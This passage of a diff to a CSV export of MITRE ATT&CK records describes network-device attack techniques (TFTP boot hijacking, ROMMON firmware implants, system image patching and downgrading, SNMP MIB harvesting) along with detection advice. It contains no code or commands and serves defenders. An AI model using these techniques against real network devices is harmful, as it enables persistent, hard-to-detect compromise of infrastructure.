Legacy Device Attacks)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1542/005', external_id='T1542.005'), ExternalReference(source_name='Cisco Blog Legacy Device Attacks', description='Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', url='https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'), ExternalReference(source_name='Cisco IOS Software Integrity Assurance - Secure Boot', description='Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020.', url='https://tools.cisco.com/security/center/resources/integrity_assurance.html#35'), ExternalReference(source_name='Cisco IOS Software Integrity Assurance - Image File Verification', description='Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.', url='https://tools.cisco.com/security/center/resources/integrity_assurance.html#7'), ExternalReference(source_name='Cisco IOS Software Integrity Assurance - Run-Time Memory Verification', description='Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.', url='https://tools.cisco.com/security/center/resources/integrity_assurance.html#13'), ExternalReference(source_name='Cisco IOS Software Integrity Assurance - Command History', description='Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.', url='https://tools.cisco.com/security/center/resources/integrity_assurance.html#23'), ExternalReference(source_name='Cisco IOS Software Integrity Assurance - Boot Information', description='Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot Information. Retrieved October 21, 2020.', url='https://tools.cisco.com/security/center/resources/integrity_assurance.html#26')]",attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-10-22 16:35:53.806000+00:00,TFTP Boot,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Command: Command Execution', 'Network Traffic: Network Connection Creation', 'Firmware: Firmware Modification']",,,,,"Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification) +Adversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1542/005', 'external_id': 'T1542.005'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Secure Boot', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#35'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Image File Verification', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#7'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Run-Time Memory Verification', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#13'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Command History', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#23'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Boot Information', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot Information. Retrieved October 21, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#26'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Network Traffic: Network Connection Creation', 'Firmware: Firmware Modification']",,"Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification) -Review command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.",,,,,True,,,['Administrator'],['Network'],,,,1.0 -2020-10-20 00:05:48.790000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks) +Review command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.",True,['Administrator'],['Network'],1.0,,,,,,, +attack-pattern,attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-20T00:05:48.790Z,2020-10-22T02:18:19.568Z,ROMMONkit,"Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks) -ROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1542/004', external_id='T1542.004'), ExternalReference(source_name='Cisco Synful Knock Evolution', description='Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.', url='https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices'), ExternalReference(source_name='Cisco Blog Legacy Device Attacks', description='Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', url='https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954')]",attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-10-22 02:18:19.568000+00:00,ROMMONkit,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['Firmware: Firmware Modification'],,,,,"There are no documented means for defenders to validate the operation of the ROMMON outside of vendor support. If a network device is suspected of being compromised, contact the vendor to assist in further investigation.",,,,,True,,,['Administrator'],['Network'],,,,1.0 -2020-10-19 23:51:05.953000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP). +ROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1542/004', 'external_id': 'T1542.004'}, {'source_name': 'Cisco Synful Knock Evolution', 'description': 'Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.', 'url': 'https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Firmware: Firmware Modification'],,"There are no documented means for defenders to validate the operation of the ROMMON outside of vendor support. If a network device is suspected of being compromised, contact the vendor to assist in further investigation.",True,['Administrator'],['Network'],1.0,,,,,,, +attack-pattern,attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-19T23:51:05.953Z,2020-10-22T01:54:22.812Z,SNMP (MIB Dump),"Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP). The MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation: SANS Information Security Reading Room Securing SNMP Securing SNMP). The MIB may also contain device operational information, including running configuration, routing table, and interface details. -Adversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1602/001', external_id='T1602.001'), ExternalReference(source_name='SANS Information Security Reading Room Securing SNMP Securing SNMP', description='Michael Stump. (2003). Information Security Reading Room Securing SNMP: A Look atNet-SNMP (SNMPv3). Retrieved October 19, 2020.', url='https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051'), ExternalReference(source_name='US-CERT-TA18-106A', description='US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.', url='https://www.us-cert.gov/ncas/alerts/TA18-106A'), ExternalReference(source_name='Cisco Blog Legacy Device Attacks', description='Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', url='https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'), ExternalReference(source_name='Cisco Advisory SNMP v3 Authentication Vulnerabilities', description='Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020.', url='https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3')]",attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2020-10-22 01:54:22.812000+00:00,SNMP (MIB Dump),['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,,,,Identify network traffic sent or received by untrusted hosts or networks that expose MIB content or use unauthorized protocols.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities),,,,,True,,,['Administrator'],['Network'],,,,1.0 -2020-10-19 23:46:13.931000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices. +Adversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1602/001', 'external_id': 'T1602.001'}, {'source_name': 'SANS Information Security Reading Room Securing SNMP Securing SNMP', 'description': 'Michael Stump. (2003). Information Security Reading Room Securing SNMP: A Look atNet-SNMP (SNMPv3). Retrieved October 19, 2020.', 'url': 'https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051'}, {'source_name': 'US-CERT-TA18-106A', 'description': 'US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-106A'}, {'source_name': 'Cisco Blog Legacy Device Attacks', 'description': 'Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.', 'url': 'https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954'}, {'source_name': 'Cisco Advisory SNMP v3 Authentication Vulnerabilities', 'description': 'Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020.', 'url': 'https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,Identify network traffic sent or received by untrusted hosts or networks that expose MIB content or use unauthorized protocols.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities),True,['Administrator'],['Network'],1.0,,,,,,, +attack-pattern,attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-19T23:46:13.931Z,2020-10-22T02:26:44.566Z,Data from Configuration Repository,"Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices. -Adversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1602', external_id='T1602'), ExternalReference(source_name='US-CERT-TA18-106A', description='US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.', url='https://www.us-cert.gov/ncas/alerts/TA18-106A'), ExternalReference(source_name='US-CERT TA17-156A SNMP Abuse 2017', description='US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020.', url='https://us-cert.cisa.gov/ncas/alerts/TA17-156A'), ExternalReference(source_name='Cisco Advisory SNMP v3 Authentication Vulnerabilities', description='Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020.', url='https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3')]",attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2020-10-22 02:26:44.566000+00:00,Data from Configuration Repository,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,,,,Identify network traffic sent or received by untrusted hosts or networks that solicits and obtains the configuration information of the queried device.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities),,,,,False,,,['Administrator'],['Network'],,,,1.0 -2020-10-19 19:53:10.576000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution) +Adversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1602', 'external_id': 'T1602'}, {'source_name': 'US-CERT-TA18-106A', 'description': 'US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA18-106A'}, {'source_name': 'US-CERT TA17-156A SNMP Abuse 2017', 'description': 'US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020.', 'url': 'https://us-cert.cisa.gov/ncas/alerts/TA17-156A'}, {'source_name': 'Cisco Advisory SNMP v3 Authentication Vulnerabilities', 'description': 'Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020.', 'url': 'https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,Identify network traffic sent or received by untrusted hosts or networks that solicits and obtains the configuration information of the queried device.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities),False,['Administrator'],['Network'],1.0,,,,,,, +attack-pattern,attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-19T19:53:10.576Z,2020-10-22T17:49:02.660Z,Downgrade System Image,"Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution) On embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts. -Downgrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600). Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001). ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1601/002', external_id='T1601.002'), ExternalReference(source_name='Cisco Synful Knock Evolution', description='Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.', url='https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices')]",attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-10-22 17:49:02.660000+00:00,Downgrade System Image,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['File: File Modification'],,,,,"Many embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because image downgrade may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. ",,,,,True,,,['Administrator'],['Network'],,,,1.0 -2020-10-19 19:49:24.129000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime. +Downgrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600). Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001). ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1601/002', 'external_id': 'T1601.002'}, {'source_name': 'Cisco Synful Knock Evolution', 'description': 'Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.', 'url': 'https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Modification'],,"Many embedded network devices provide a command to print the version of the currently running operating system. Use this command to query the operating system for its version number and compare it to what is expected for the device in question. Because image downgrade may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. ",True,['Administrator'],['Network'],1.0,,,,,,, +attack-pattern,attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-19T19:49:24.129Z,2020-10-22T17:50:46.560Z,Patch System Image,"Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime. To change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image. @@ -199,54 +308,54 @@ Adversaries may also compromise existing commands in the operating system to pro When the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005). -When the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1601/001', external_id='T1601.001'), ExternalReference(source_name='Killing the myth of Cisco IOS rootkits', description=""Sebastian 'topo' Muñiz. (2008, May). Killing the myth of Cisco IOS rootkits. Retrieved October 20, 2020."", url='https://drwho.virtadpt.net/images/killing_the_myth_of_cisco_ios_rootkits.pdf'), ExternalReference(source_name='Killing IOS diversity myth', description='Ang Cui, Jatin Kataria, Salvatore J. Stolfo. (2011, August). Killing the myth of Cisco IOS diversity: recent advances in reliable shellcode design. Retrieved October 20, 2020.', url='https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf'), ExternalReference(source_name='Cisco IOS Shellcode', description='George Nosenko. (2015). CISCO IOS SHELLCODE: ALL-IN-ONE. Retrieved October 21, 2020.', url='http://2015.zeronights.org/assets/files/05-Nosenko.pdf'), ExternalReference(source_name='Cisco IOS Forensics Developments', description=""Felix 'FX' Lindner. (2008, February). Developments in Cisco IOS Forensics. Retrieved October 21, 2020."", url='https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf'), ExternalReference(source_name='Juniper Netscreen of the Dead', description='Graeme Neilson . (2009, August). Juniper Netscreen of the Dead. Retrieved October 20, 2020.', url='https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf'), ExternalReference(source_name='Cisco IOS Software Integrity Assurance - Image File Verification', description='Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.', url='https://tools.cisco.com/security/center/resources/integrity_assurance.html#7'), ExternalReference(source_name='Cisco IOS Software Integrity Assurance - Run-Time Memory Verification', description='Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.', url='https://tools.cisco.com/security/center/resources/integrity_assurance.html#13')]",attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-10-22 17:50:46.560000+00:00,Patch System Image,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['File: File Modification'],,,,,"Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification) +When the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1601/001', 'external_id': 'T1601.001'}, {'source_name': 'Killing the myth of Cisco IOS rootkits', 'description': ""Sebastian 'topo' Muñiz. (2008, May). Killing the myth of Cisco IOS rootkits. Retrieved October 20, 2020."", 'url': 'https://drwho.virtadpt.net/images/killing_the_myth_of_cisco_ios_rootkits.pdf'}, {'source_name': 'Killing IOS diversity myth', 'description': 'Ang Cui, Jatin Kataria, Salvatore J. Stolfo. (2011, August). Killing the myth of Cisco IOS diversity: recent advances in reliable shellcode design. Retrieved October 20, 2020.', 'url': 'https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf'}, {'source_name': 'Cisco IOS Shellcode', 'description': 'George Nosenko. (2015). CISCO IOS SHELLCODE: ALL-IN-ONE. Retrieved October 21, 2020.', 'url': 'http://2015.zeronights.org/assets/files/05-Nosenko.pdf'}, {'source_name': 'Cisco IOS Forensics Developments', 'description': ""Felix 'FX' Lindner. (2008, February). Developments in Cisco IOS Forensics. Retrieved October 21, 2020."", 'url': 'https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf'}, {'source_name': 'Juniper Netscreen of the Dead', 'description': 'Graeme Neilson . (2009, August). Juniper Netscreen of the Dead. Retrieved October 20, 2020.', 'url': 'https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Image File Verification', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#7'}, {'source_name': 'Cisco IOS Software Integrity Assurance - Run-Time Memory Verification', 'description': 'Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.', 'url': 'https://tools.cisco.com/security/center/resources/integrity_assurance.html#13'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Modification'],,"Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification) -Many vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)",,,,,True,,,['Administrator'],['Network'],,,,1.0 -2020-10-19 19:42:19.740000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file. +Many vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)",True,['Administrator'],['Network'],1.0,,,,,,, 